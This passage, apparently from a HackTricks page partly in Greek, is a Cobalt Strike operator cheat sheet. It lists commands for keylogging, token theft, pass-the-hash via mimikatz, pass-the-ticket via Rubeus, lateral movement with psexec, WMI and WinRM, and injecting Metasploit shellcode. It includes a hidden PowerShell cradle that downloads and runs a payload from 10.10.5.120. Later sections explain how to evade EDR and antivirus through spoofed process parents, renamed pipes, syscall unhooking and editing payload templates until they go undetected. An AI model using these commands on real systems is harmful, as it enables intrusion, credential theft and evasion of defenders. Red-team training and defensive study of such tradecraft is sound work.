Screenshots

printscreen # Take a single screenshot via PrintScr method screenshot # Take a single screenshot screenwatch # Take periodic screenshots of desktop

Go to View -> Screenshots to see them

keylogger

keylogger [pid] [x86|x64]

View > Keystrokes to see the keys pressed

portscan

portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Inject portscan action inside another process portscan [targets] [ports] [arp|icmp|none] [max connections]

Powershell

Import Powershell module

powershell-import C:\path\to\PowerView.ps1 powershell-import /root/Tools/PowerSploit/Privesc/PowerUp.ps1 powershell # This uses the highest supported powershell version (not oppsec) powerpick # This creates a sacrificial process specified by spawnto, and injects UnmanagedPowerShell into it for better opsec (not logging) powerpick Invoke-PrivescAudit | fl psinject # This injects UnmanagedPowerShell into the specified process to run the PowerShell cmdlet.

User impersonation

Token generation with creds

make_token [DOMAIN\user] [password] #Create token to impersonate a user in the network ls \computer_name\c$ # Try to use generated token to access C$ in a computer rev2self # Stop using token generated with make_token

The use of make_token generates event 4624: An account was successfully logged on. This event is very common in a Windows domain, but can be narrowed down by filtering on the Logon Type. As mentioned above, it uses LOGON32_LOGON_NEW_CREDENTIALS which is type 9.

UAC Bypass

elevate svc-exe elevate uac-token-duplication runasadmin uac-cmstplua powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://10.10.5.120:80/b’))”

Steal token from pid

Like make_token but stealing the token from a process

steal_token [pid] # Also, this is useful for network actions, not local actions

From the API documentation we know that this logon type “allows the caller to clone its current token”. This is why the Beacon output says Impersonated <current_username> - it’s impersonating our own cloned token.

ls \computer_name\c$ # Try to use generated token to access C$ in a computer rev2self # Stop using token from steal_token

## Launch process with nwe credentials spawnas [domain\username] [password] [listener] #Do it from a directory with read access like: cd C:\

Like make_token, this will generate Windows event 4624: An account was successfully logged on but with a logon type of 2 (LOGON32_LOGON_INTERACTIVE). It will detail the calling user (TargetUserName) and the impersonated user (TargetOutboundUserName).

Inject into process

inject [pid] [x64|x86] [listener]

From an OpSec point of view: Don’t perform cross-platform injection unless you really have to (e.g. x86 -> x64 or x64 -> x86).

Pass the hash

This modification process requires patching of LSASS memory which is a high-risk action, requires local admin privileges and not all that viable if Protected Process Light (PPL) is enabled.

pth [pid] [arch] [DOMAIN\user] [NTLM hash] pth [DOMAIN\user] [NTLM hash]

Pass the hash through mimikatz

mimikatz sekurlsa::pth /user: /domain: /ntlm: /run:“powershell -w hidden”

Withuot /run, mimikatz spawn a cmd.exe, if you are running as a user with Desktop, he will see the shell (if you are running as SYSTEM you are good to go)

steal_token #Steal token from process created by mimikatz

Pass the ticket

Request a ticket

execute-assembly /root/Tools/SharpCollection/Seatbelt.exe -group=system execute-assembly C:\path\Rubeus.exe asktgt /user: /domain: /aes256:<aes_keys> /nowrap /opsec

Create a new logon session to use with the new ticket (to not overwrite the compromised one)

make_token <username> DummyPass

Write the ticket in the attacker machine from a poweshell session & load it

[System.IO.File]::WriteAllBytes(“C:\Users\Administrator\Desktop\jkingTGT.kirbi”, [System.Convert]::FromBase64String(“[…ticket…]”)) kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi

Pass the ticket from SYSTEM

Generate a new process with the ticket

execute-assembly C:\path\Rubeus.exe asktgt /user: /domain: /aes256: /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe

Steal the token from that process

steal_token

Extract ticket + Pass the ticket

List tickets

execute-assembly C:\path\Rubeus.exe triage

Dump insteresting ticket by luid

execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid: /nowrap

Create new logon session, note luid and processid

execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe

Insert ticket in generate logon session

execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[…base64-ticket…]

Finally, steal the token from that new process

steal_token

# Lateral Movement

If a token was created it will be used

jump [method] [target] [listener]

Methods:

psexec x86 Use a service to run a Service EXE artifact

psexec64 x64 Use a service to run a Service EXE artifact

## psexec_psh x86 Use a service to run a PowerShell one-liner ## winrm x86 Run a PowerShell script via WinRM ## winrm64 x64 Run a PowerShell script via WinRM

wmi_msbuild x64 wmi lateral movement with msbuild inline c# task (oppsec)

remote-exec [method] [target] [command] # remote-exec doesn’t return output

Methods:

## psexec Remote execute via Service Control Manager ## winrm Remote execute via WinRM (PowerShell) ## wmi Remote execute via WMI

To execute a beacon with wmi (it isn’t in the jump command) just upload the beacon and execute it

beacon> upload C:\Payloads\beacon-smb.exe beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe

Pass session to Metasploit - Through listener

On metaploit host

msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http msf6 exploit(multi/handler) > set LHOST eth0 msf6 exploit(multi/handler) > set LPORT 8080 msf6 exploit(multi/handler) > exploit -j

On cobalt: Listeners > Add and set the Payload to Foreign HTTP. Set the Host to 10.10.5.120, the Port to 8080 and click Save.

beacon> spawn metasploit

You can only spawn x86 Meterpreter sessions with the foreign listener.

Pass session to Metasploit - Through shellcode injection

On metasploit host

msfvenom -p windows/x64/meterpreter_reverse_http LHOST= LPORT= -f raw -o /tmp/msf.bin

Run msfvenom and prepare the multi/handler listener

Copy bin file to cobalt strike host

ps shinject x64 C:\Payloads\msf.bin #Inject metasploit shellcode in a x64 process

Pass metasploit session to cobalt strike

Fenerate stageless Beacon shellcode, go to Attacks > Packages > Windows Executable (S), select the desired listener, select Raw as the Output type and select Use x64 payload.

Use post/windows/manage/shellcode_inject in metasploit to inject the generated cobalt srike shellcode

Pivoting

Open a socks proxy in the teamserver

beacon> socks 1080

SSH connection

beacon> ssh 10.10.17.12:22 username password

</details>

### Custom implants / Linux Beacons

- Ένας custom agent χρειάζεται μόνο να μιλάει το Cobalt Strike Team Server HTTP/S protocol (default malleable C2 profile) για να κάνει register/check-in και να λαμβάνει tasks. Υλοποιήστε τα ίδια URIs/headers/metadata crypto που ορίζονται στο profile για να επαναχρησιμοποιήσετε το Cobalt Strike UI για tasking και output.
- Ένα Aggressor Script (π.χ., `CustomBeacon.cna`) μπορεί να τυλίξει το payload generation για το non-Windows beacon ώστε οι operators να μπορούν να επιλέξουν τον listener και να παράγουν ELF payloads απευθείας από το GUI.
- Παραδείγματα Linux task handlers που εκθέτονται στο Team Server: `sleep`, `cd`, `pwd`, `shell` (exec arbitrary commands), `ls`, `upload`, `download`, και `exit`. Αυτά χαρτογραφούνται σε task IDs που περιμένει ο Team Server και πρέπει να υλοποιηθούν server-side για να επιστρέφουν output στη σωστή μορφή.
- Υποστήριξη BOF σε Linux μπορεί να προστεθεί φορτώνοντας Beacon Object Files in-process με το [TrustedSec's ELFLoader](https://github.com/trustedsec/ELFLoader) (υποστηρίζει και Outflank-style BOFs), επιτρέποντας modular post-exploitation να τρέχει μέσα στο context/privileges του implant χωρίς να spawnάρει νέα processes.
- Ενσωματώστε έναν SOCKS handler στο custom beacon για να διατηρήσετε parity στο pivoting με τα Windows Beacons: όταν ο operator τρέχει `socks <port>` το implant θα πρέπει να ανοίξει έναν local proxy για να δρομολογεί τα εργαλεία του operator μέσω του compromized Linux host προς τα internal networks.

## Opsec

### Execute-Assembly

Το **`execute-assembly`** χρησιμοποιεί μια **sacrificial process** μέσω remote process injection για να εκτελέσει το υποδεικνυόμενο πρόγραμμα. Αυτό είναι πολύ θορυβώδες επειδή για να γίνει injection μέσα σε μια process χρησιμοποιούνται ορισμένα Win APIs που ελέγχουν όλα τα EDR. Ωστόσο, υπάρχουν κάποια custom εργαλεία που μπορούν να χρησιμοποιηθούν για να φορτώσουν κάτι στην ίδια process:

- [https://github.com/anthemtotheego/InlineExecute-Assembly](https://github.com/anthemtotheego/InlineExecute-Assembly)
- [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly)
- Στο Cobalt Strike μπορείτε επίσης να χρησιμοποιήσετε BOF (Beacon Object Files): [https://github.com/CCob/BOF.NET](https://github.com/CCob/BOF.NET)

Το aggressor script `https://github.com/outflanknl/HelpColor` θα δημιουργήσει την εντολή `helpx` στο Cobalt Strike που θα βάζει χρώματα στις εντολές δείχνοντας αν είναι BOFs (πράσινο), αν είναι Frok&Run (κίτρινο) και παρόμοια, ή αν είναι ProcessExecution, injection ή παρόμοια (κόκκινο). Αυτό βοηθάει να γνωρίζετε ποιες εντολές είναι πιο stealthy.

### Act as the user

Μπορείτε να ελέγξετε events όπως `Seatbelt.exe LogonEvents ExplicitLogonEvents PoweredOnEvents`:

- Security EID 4624 - Ελέγξτε όλα τα interactive logons για να γνωρίζετε τις συνηθισμένες ώρες λειτουργίας.
- System EID 12,13 - Ελέγξτε τη συχνότητα shutdown/startup/sleep.
- Security EID 4624/4625 - Ελέγξτε εισερχόμενες έγκυρες/άκυρες NTLM προσπάθειες.
- Security EID 4648 - Αυτό το event δημιουργείται όταν χρησιμοποιούνται plaintext credentials για logon. Αν ένα process το δημιουργεί, το binary πιθανώς έχει τα credentials σε clear text σε ένα config file ή μέσα στον κώδικα.

Όταν χρησιμοποιείτε `jump` από cobalt strike, είναι προτιμότερο να χρησιμοποιήσετε τη μέθοδο `wmi_msbuild` για να κάνετε τη νέα process να φαίνεται πιο legit.

### Use computer accounts

Είναι συνηθισμένο οι defenders να ελέγχουν περίεργες συμπεριφορές που παράγονται από χρήστες και να **εξαιρούν service accounts και computer accounts όπως `*$` από το monitoring τους**. Μπορείτε να χρησιμοποιήσετε αυτούς τους λογαριασμούς για lateral movement ή privilege escalation.

### Use stageless payloads

Τα stageless payloads είναι λιγότερο θορυβώδη από τα staged γιατί δεν χρειάζονται να κατεβάσουν ένα δεύτερο στάδιο από τον C2 server. Αυτό σημαίνει ότι δεν παράγουν επιπλέον network traffic μετά την αρχική σύνδεση, κάνοντάς τα λιγότερο πιθανό να ανιχνευθούν από network-based defenses.

### Tokens & Token Store

Να είστε προσεκτικοί όταν κλέβετε ή δημιουργείτε tokens γιατί μπορεί ένα EDR να εντοπίσει όλα τα tokens όλων των threads και να βρει ένα **token που ανήκει σε διαφορετικό χρήστη** ή ακόμα και SYSTEM μέσα στη process.

Αυτό επιτρέπει να αποθηκεύετε tokens **ανά beacon** ώστε να μην χρειάζεται να κλέβετε το ίδιο token ξανά και ξανά. Αυτό είναι χρήσιμο για lateral movement ή όταν χρειάζεστε να χρησιμοποιήσετε ένα stolen token πολλές φορές:

- token-store steal <pid>
- token-store steal-and-use <pid>
- token-store show
- token-store use <id>
- token-store remove <id>
- token-store remove-all

Κατά την lateral κίνηση, συνήθως είναι καλύτερο να **κλέψετε ένα token παρά να δημιουργήσετε νέο** ή να πραγματοποιήσετε pass the hash επίθεση.

### Guardrails

Το Cobalt Strike έχει μια λειτουργία που ονομάζεται **Guardrails** που βοηθάει στο να αποτρέπονται η χρήση ορισμένων εντολών ή ενεργειών που θα μπορούσαν να ανιχνευθούν από defenders. Τα Guardrails μπορούν να ρυθμιστούν ώστε να μπλοκάρουν συγκεκριμένες εντολές, όπως `make_token`, `jump`, `remote-exec`, και άλλες που χρησιμοποιούνται συχνά για lateral movement ή privilege escalation.

Επιπλέον, το repo [https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks](https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks) περιέχει επίσης μερικούς ελέγχους και ιδέες που μπορείτε να σκεφτείτε πριν εκτελέσετε ένα payload.

### Tickets encryption

Σε ένα AD να είστε προσεκτικοί με την κρυπτογράφηση των tickets. Από προεπιλογή, κάποια εργαλεία θα χρησιμοποιήσουν RC4 encryption για Kerberos tickets, το οποίο είναι λιγότερο ασφαλές από AES encryption και σε σύγχρονα περιβάλλοντα κατά βάθος θα χρησιμοποιηθεί AES. Αυτό μπορεί να ανιχνευθεί από defenders που παρακολουθούν για ασθενείς αλγορίθμους κρυπτογράφησης.

### Avoid Defaults

Όταν χρησιμοποιείτε Cobalt Stricke από default τα SMB pipes θα έχουν το όνομα `msagent_####` και `"status_####`. Αλλάξτε αυτά τα ονόματα. Είναι δυνατόν να ελέγξετε τα ονόματα των υπαρχόντων pipes από Cobal Strike με την εντολή: `ls \\.\pipe\`

Επιπλέον, με SSH sessions δημιουργείται ένα pipe που ονομάζεται `\\.\pipe\postex_ssh_####`. Αλλάξτε το με `set ssh_pipename "<new_name>";`.

Επίσης στην postex exploitation attack τα pipes `\\.\pipe\postex_####` μπορούν να τροποποιηθούν με `set pipename "<new_name>"`.

Στα Cobalt Strike profiles μπορείτε επίσης να τροποποιήσετε πράγματα όπως:

- Αποφυγή χρήσης `rwx`
- Πώς λειτουργεί το process injection (ποια APIs θα χρησιμοποιηθούν) στο μπλοκ `process-inject {...}`
- Πώς λειτουργεί το "fork and run" στο μπλοκ `post-ex {…}`
- Το sleep time
- Το max size των binaries που θα φορτωθούν στη μνήμη
- Το memory footprint και το περιεχόμενο DLL με το μπλοκ `stage {...}`
- Το network traffic

### Bypass memory scanning

Κάποια ERDs σκανάρουν τη μνήμη για γνωστές υπογραφές malware. Coblat Strike επιτρέπει να τροποποιήσετε τη λειτουργία `sleep_mask` ως BOF που θα μπορεί να κρυπτογραφήσει in memory το backdoor.

### Noisy proc injections

Όταν γίνεται injection κώδικα μέσα σε μια process αυτό είναι συνήθως πολύ θορυβώδες, αυτό συμβαίνει επειδή **κανένας τακτικός process δεν κάνει συνήθως αυτήν την ενέργεια και οι τρόποι για να το πετύχεις είναι πολύ περιορισμένοι**. Επομένως, μπορεί να ανιχνευτεί από behaviour-based detection systems. Επιπλέον, μπορεί επίσης να ανιχνευθεί από EDRs που σαρώνανε το δίκτυο για **threads που περιέχουν κώδικα που δεν υπάρχει στο disk** (αν και processes όπως browsers που χρησιμοποιούν JIT το έχουν συχνά). Παράδειγμα: [https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2)

### Spawnas | PID and PPID relationships

Όταν spawnάρετε μια νέα process είναι σημαντικό να **διατηρήσετε μια φυσιολογική parent-child** σχέση μεταξύ των processes για να αποφύγετε ανίχνευση. Αν svchost.exec εκτελεί iexplorer.exe θα φαίνεται ύποπτο, καθώς svchost.exe δεν είναι parent του iexplorer.exe σε ένα κανονικό Windows περιβάλλον.

Όταν spawnάρεται ένα νέο beacon στο Cobalt Strike από προεπιλογή δημιουργείται μια process που χρησιμοποιεί **`rundll32.exe`** για να τρέξει το νέο listener. Αυτό δεν είναι πολύ stealthy και μπορεί εύκολα να ανιχνευτεί από EDRs. Επιπλέον, το `rundll32.exe` τρέχει χωρίς args κάνοντάς το ακόμα πιο ύποπτο.

Με την παρακάτω Cobalt Strike εντολή, μπορείτε να ορίσετε μια διαφορετική process για να spawnάρετε το νέο beacon, κάνοντάς το λιγότερο ανιχνεύσιμο:
```bash
spawnto x86 svchost.exe

Μπορείς επίσης να αλλάξεις αυτή τη ρύθμιση spawnto_x86 and spawnto_x64 σε ένα προφίλ.

Proxying attackers traffic

Οι επιτιθέμενοι μερικές φορές θα χρειαστεί να τρέξουν εργαλεία τοπικά, ακόμα και σε μηχανές Linux, και να κάνουν την κίνηση των θυμάτων να φτάσει στο εργαλείο (π.χ. NTLM relay).

Moreover, sometimes to do a pass-the.hash or pass-the-ticket attack it’s stealthier for the attacker to add this hash or ticket in his own LSASS process locally and then pivot from it instead of modifying an LSASS process of a victim machine.

Ωστόσο, πρέπει να είσαι προσεκτικός με την παραγόμενη κίνηση, καθώς μπορεί να στέλνεις ασυνήθιστη κίνηση (Kerberos?) από τη backdoor process σου. Για αυτό μπορείς να pivot σε ένα browser process (αν και μπορεί να πιαστείς αν κάνεις injecting σε μια process, οπότε σκέψου έναν stealth τρόπο να το κάνεις).

Avoiding AVs

AV/AMSI/ETW Bypass

Δες τη σελίδα:

Antivirus (AV) Bypass

Artifact Kit

Συνήθως στο /opt/cobaltstrike/artifact-kit μπορείς να βρεις τον κώδικα και τα προ-μεταγλωττισμένα templates (στο /src-common) των payloads που το cobalt strike θα χρησιμοποιήσει για να δημιουργήσει τα binary beacons.

Using ThreatCheck with the generated backdoor (or just with the compiled template) you can find what is making defender trigger. It’s usually a string. Therefore you can just modify the code that is generating the backdoor so that string doesn’t appear in the final binary.

Μετά την τροποποίηση του κώδικα, απλά τρέξε ./build.sh από τον ίδιο κατάλογο και αντίγραψε το φάκελο dist-pipe/ στον Windows client στο C:\Tools\cobaltstrike\ArtifactKit.

pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .

Μην ξεχάσετε να φορτώσετε το aggressive script dist-pipe\artifact.cna ώστε να υποδείξετε στο Cobalt Strike να χρησιμοποιήσει τους πόρους από το δίσκο που θέλουμε και όχι αυτούς που έχουν φορτωθεί.

Resource Kit

Ο φάκελος ResourceKit περιέχει τα πρότυπα για τα script-based payloads του Cobalt Strike, συμπεριλαμβανομένων των PowerShell, VBA και HTA.

Χρησιμοποιώντας ThreatCheck με τα πρότυπα μπορείτε να βρείτε τι στον defender (AMSI στην προκειμένη περίπτωση) δεν αρέσει και να το τροποποιήσετε:

.\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1

Τροποποιώντας τις ανιχνευμένες γραμμές, μπορεί κανείς να δημιουργήσει ένα πρότυπο που δεν θα εντοπιστεί.

Μην ξεχάσετε να φορτώσετε το aggressive script ResourceKit\resources.cna για να υποδείξετε στο Cobalt Strike να χρησιμοποιήσει τους πόρους από το δίσκο που θέλουμε και όχι αυτούς που έχουν φορτωθεί.

Function hooks | Syscall

Function hooking είναι μια πολύ συνηθισμένη μέθοδος των ERDs για να εντοπίζουν κακόβουλη δραστηριότητα. Το Cobalt Strike επιτρέπει την παράκαμψη αυτών των hooks χρησιμοποιώντας syscalls αντί για τις τυπικές κλήσεις Windows API με τη χρήση του None config, ή χρησιμοποιώντας την έκδοση Nt* μιας λειτουργίας με τη ρύθμιση Direct, ή απλά παρακάμπτοντας τη λειτουργία Nt* με την επιλογή Indirect στο malleable profile. Ανάλογα με το σύστημα, μια επιλογή μπορεί να είναι πιο stealth από την άλλη.

Αυτό μπορεί να ρυθμιστεί στο profile ή χρησιμοποιώντας την εντολή syscall-method

Ωστόσο, αυτό μπορεί επίσης να είναι θορυβώδες.

Μία επιλογή που παρέχει το Cobalt Strike για να παρακάμψει τα function hooks είναι να τα αφαιρέσει με: unhook-bof.

Μπορείτε επίσης να ελέγξετε ποιες συναρτήσεις είναι hooked με https://github.com/Mr-Un1k0d3r/EDRs ή https://github.com/matterpreter/OffensiveCSharp/tree/master/HookDetector

</details>

## Αναφορές

- [Cobalt Strike Linux Beacon (custom implant PoC)](https://github.com/EricEsquivel/CobaltStrike-Linux-Beacon)
- [TrustedSec ELFLoader & Linux BOFs](https://github.com/trustedsec/ELFLoader)
- [Outflank nix BOF template](https://github.com/outflanknl/nix_bof_template)
- [Unit42 analysis of Cobalt Strike metadata encryption](https://unit42.paloaltonetworks.com/cobalt-strike-metadata-encryption-decryption/)
- [SANS ISC diary on Cobalt Strike traffic](https://isc.sans.edu/diary/27968)
- [cs-decrypt-metadata-py](https://blog.didierstevens.com/2021/10/22/new-tool-cs-decrypt-metadata-py/)
- [SentinelOne CobaltStrikeParser](https://github.com/Sentinel-One/CobaltStrikeParser)

> [!TIP]
> Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Μάθετε & εξασκηθείτε στο Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Υποστηρίξτε το HackTricks</summary>
>
> - Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
> - **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>